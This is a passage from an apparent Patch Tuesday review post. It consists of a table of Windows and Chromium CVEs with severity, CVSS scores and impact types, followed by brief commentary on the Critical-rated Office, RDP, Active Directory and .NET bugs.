  <td>Windows UPnP Device Host Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32223">CVE-2026-32223</a></td>
  <td>Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32165">CVE-2026-32165</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27911">CVE-2026-27911</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32163">CVE-2026-32163</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32164">CVE-2026-32164</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23670">CVE-2026-23670</a></td>
  <td>Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27917">CVE-2026-27917</a></td>
  <td>Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32080">CVE-2026-32080</a></td>
  <td>Windows WalletService Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32222">CVE-2026-32222</a></td>
  <td>Windows Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21637">CVE-2026-21637 *</a></td>
  <td> HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers</td>
  <td> Moderate</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33119">CVE-2026-33119</a></td>
  <td>Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>5.4</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829">CVE-2026-33829</a></td>
  <td>Windows Snipping Tool Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5858">CVE-2026-5858 *</a></td>
  <td>Chromium: CVE-2026-5858 Heap buffer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5859">CVE-2026-5859 *</a></td>
  <td>Chromium: CVE-2026-5859 Integer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5272">CVE-2026-5272 *</a></td>
  <td>Chromium: CVE-2026-5272 Heap buffer overflow in GPU</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5273">CVE-2026-5273 *</a></td>
  <td>Chromium: CVE-2026-5273 Use after free in CSS</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5274">CVE-2026-5274 *</a></td>
  <td>Chromium: CVE-2026-5274 Integer overflow in Codecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5275">CVE-2026-5275 *</a></td>
  <td>Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5276">CVE-2026-5276 *</a></td>
  <td>Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5277">CVE-2026-5277 *</a></td>
  <td>Chromium: CVE-2026-5277 Integer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5279">CVE-2026-5279 *</a></td>
  <td>Chromium: CVE-2026-5279 Object corruption in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5280">CVE-2026-5280 *</a></td>
  <td>Chromium: CVE-2026-5280 Use after free in WebCodecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5283">CVE-2026-5283 *</a></td>
  <td>Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5284">CVE-2026-5284 *</a></td>
  <td>Chromium: CVE-2026-5284 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5285">CVE-2026-5285 *</a></td>
  <td>Chromium: CVE-2026-5285 Use after free in WebGL</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5286">CVE-2026-5286 *</a></td>
  <td>Chromium: CVE-2026-5286 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5287">CVE-2026-5287 *</a></td>
  <td>Chromium: CVE-2026-5287 Use after free in PDF</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5289">CVE-2026-5289 *</a></td>
  <td>Chromium: CVE-2026-5289 Use after free in Navigation</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5290">CVE-2026-5290 *</a></td>
  <td>Chromium: CVE-2026-5290 Use after free in Compositing</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5860">CVE-2026-5860 *</a></td>
  <td>Chromium: CVE-2026-5860 Use after free in WebRTC</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5861">CVE-2026-5861 *</a></td>
  <td>Chromium: CVE-2026-5861 Use after free in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5862">CVE-2026-5862 *</a></td>
  <td>Chromium: CVE-2026-5862 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5863">CVE-2026-5863 *</a></td>
  <td>Chromium: CVE-2026-5863 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5864">CVE-2026-5864 *</a></td>
  <td>Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5865">CVE-2026-5865 *</a></td>
  <td>Chromium: CVE-2026-5865 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5866">CVE-2026-5866 *</a></td>
  <td>Chromium: CVE-2026-5866 Use after free in Media</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5867">CVE-2026-5867 *</a></td>
  <td>Chromium: CVE-2026-5867 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5868">CVE-2026-5868 *</a></td>
  <td>Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5869">CVE-2026-5869 *</a></td>
  <td>Chromium: CVE-2026-5869 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5870">CVE-2026-5870 *</a></td>
  <td>Chromium: CVE-2026-5870 Integer overflow in Skia</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5871">CVE-2026-5871 *</a></td>
  <td>Chromium: CVE-2026-5871 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5872">CVE-2026-5872 *</a></td>
  <td>Chromium: CVE-2026-5872 Use after free in Blink</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5873">CVE-2026-5873 *</a></td>
  <td>Chromium: CVE-2026-5873 Out of bounds read and write in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5291">CVE-2026-5291 *</a></td>
  <td>Chromium: CVE-2026-5291 Inappropriate implementation in WebGL</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5292">CVE-2026-5292 *</a></td>
  <td>Chromium: CVE-2026-5292 Out of bounds read in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5874">CVE-2026-5874 *</a></td>
  <td>Chromium: CVE-2026-5874 Use after free in PrivateAI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5875">CVE-2026-5875 *</a></td>
  <td>Chromium: CVE-2026-5875 Policy bypass in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5876">CVE-2026-5876 *</a></td>
  <td>Chromium: CVE-2026-5876 Side-channel information leakage in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5877">CVE-2026-5877 *</a></td>
  <td>Chromium: CVE-2026-5877 Use after free in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5878">CVE-2026-5878 *</a></td>
  <td>Chromium: CVE-2026-5878 Incorrect security UI in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5879">CVE-2026-5879 *</a></td>
  <td>Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5880">CVE-2026-5880 *</a></td>
  <td>Chromium: CVE-2026-5880 Incorrect security UI in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5881">CVE-2026-5881 *</a></td>
  <td>Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5882">CVE-2026-5882 *</a></td>
  <td>Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5883">CVE-2026-5883 *</a></td>
  <td>Chromium: CVE-2026-5883 Use after free in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5884">CVE-2026-5884 *</a></td>
  <td>Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5885">CVE-2026-5885 *</a></td>
  <td>Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5886">CVE-2026-5886 *</a></td>
  <td>Chromium: CVE-2026-5886 Out of bounds read in WebAudio</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5887">CVE-2026-5887 *</a></td>
  <td>Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5888">CVE-2026-5888 *</a></td>
  <td>Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5889">CVE-2026-5889 *</a></td>
  <td>Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5890">CVE-2026-5890 *</a></td>
  <td>Chromium: CVE-2026-5890 Race in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5891">CVE-2026-5891 *</a></td>
  <td>Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5892">CVE-2026-5892 *</a></td>
  <td>Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5893">CVE-2026-5893 *</a></td>
  <td>Chromium: CVE-2026-5893 Race in V8</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5894">CVE-2026-5894 *</a></td>
  <td>Chromium: CVE-2026-5894 Inappropriate implementation in PDF</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5895">CVE-2026-5895 *</a></td>
  <td>Chromium: CVE-2026-5895 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5896">CVE-2026-5896 *</a></td>
  <td>Chromium: CVE-2026-5896 Policy bypass in Audio</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5897">CVE-2026-5897 *</a></td>
  <td>Chromium: CVE-2026-5897 Incorrect security UI in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5898">CVE-2026-5898 *</a></td>
  <td>Chromium: CVE-2026-5898 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5899">CVE-2026-5899 *</a></td>
  <td>Chromium: CVE-2026-5899 Incorrect security UI in History Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5900">CVE-2026-5900 *</a></td>
  <td>Chromium: CVE-2026-5900 Policy bypass in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5901">CVE-2026-5901 *</a></td>
  <td>Chromium: CVE-2026-5901 Policy bypass in DevTools</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5902">CVE-2026-5902 *</a></td>
  <td>Chromium: CVE-2026-5902 Race in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5903">CVE-2026-5903 *</a></td>
  <td>Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5904">CVE-2026-5904 *</a></td>
  <td>Chromium: CVE-2026-5904 Use after free in V8</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5905">CVE-2026-5905 *</a></td>
  <td>Chromium: CVE-2026-5905 Incorrect security UI in Permissions</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5906">CVE-2026-5906 *</a></td>
  <td>Chromium: CVE-2026-5906 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5907">CVE-2026-5907 *</a></td>
  <td>Chromium: CVE-2026-5907 Insufficient data validation in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5908">CVE-2026-5908 *</a></td>
  <td>Chromium: CVE-2026-5908 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5909">CVE-2026-5909 *</a></td>
  <td>Chromium: CVE-2026-5909 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5910">CVE-2026-5910 *</a></td>
  <td>Chromium: CVE-2026-5910 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5911">CVE-2026-5911 *</a></td>
  <td>Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5912">CVE-2026-5912 *</a></td>
  <td>Chromium: CVE-2026-5912 Integer overflow in WebRTC</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5913">CVE-2026-5913 *</a></td>
  <td>Chromium: CVE-2026-5913 Out of bounds read in Blink</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5914">CVE-2026-5914 *</a></td>
  <td>Chromium: CVE-2026-5914 Type Confusion in CSS</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5915">CVE-2026-5915 *</a></td>
  <td>Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5918">CVE-2026-5918 *</a></td>
  <td>Chromium: CVE-2026-5918 Inappropriate implementation in Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5919">CVE-2026-5919 *</a></td>
  <td>Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33118">CVE-2026-33118</a></td>
  <td>Microsoft Edge (Chromium-based) Spoofing Vulnerability</td>
  <td>Low</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
</tbody></table>
  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.</p><p class="">Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host. </p><p class="">More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at 